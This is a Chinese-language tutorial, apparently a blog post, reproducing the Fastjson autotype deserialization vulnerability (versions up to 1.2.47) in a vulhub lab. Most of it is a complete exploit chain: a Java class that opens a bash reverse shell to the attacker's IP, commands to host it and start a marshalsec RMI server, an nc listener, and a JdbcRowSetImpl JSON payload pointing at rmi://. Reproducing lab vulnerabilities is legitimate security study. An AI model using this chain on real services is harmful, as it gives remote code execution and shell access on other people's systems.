fastjson反序列化漏洞复现

参考文章：

http://t.csdnimg.cn/12Ehl

https://www.cnblogs.com/karsa/p/15983486.html

漏洞原理：

Fastjson提供了autotype功能，允许用户在反序列化数据中通过“@type”指定反序列化的类型，其次，Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法，那么当组件开启了autotype功能并且反序列化不可信数据时，攻击者可以构造数据，使目标应用的代码执行流程进入特定类的特定setter或者getter方法中，若指定类的指定方法中有可被恶意利用的逻辑（也就是通常所指的“Gadget”），则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中，利用其缓存机制可实现对未开启autotype功能的绕过。

影响 Fastjson1.2.47以及之前的版本

启动vulhub靶场

访问对应的服务

然后需要kali环境 包括java1.8版本和maven环境，详见之前的博客或者最上方文章

在/marshalsec-master/target/目录下面创建TouchFile.java文件

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/反弹IP/1888 0>&1"};

            Process pc = rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

            // do nothing

        }

    }

}

然后使用javac编译成.class文件

在TouchFile.java所在目录，使用python搭建web服务

python3 -m http.server 8001

访问kali的web服务可以看到恶意.class文件

开启RMI服务监听9999端口(将RMI服务与刚才用python搭建的网站绑定到一块)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.87.128:8001/#TouchFile" 9999

nc监听

nc -lnvp 1888

进行攻击

访问我们第一步搭建的存在fastjson反序列化漏洞的靶场，用burp suite抓包然后：

更改GET类型为POST

更改为Content-Type: application/json

往抓包里面写入poc：

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.87.128:9999/TouchFile",
        "autoCommit":true
    }
}

发送之后我们可以看到：

成功反弹shell了，至此复现结束！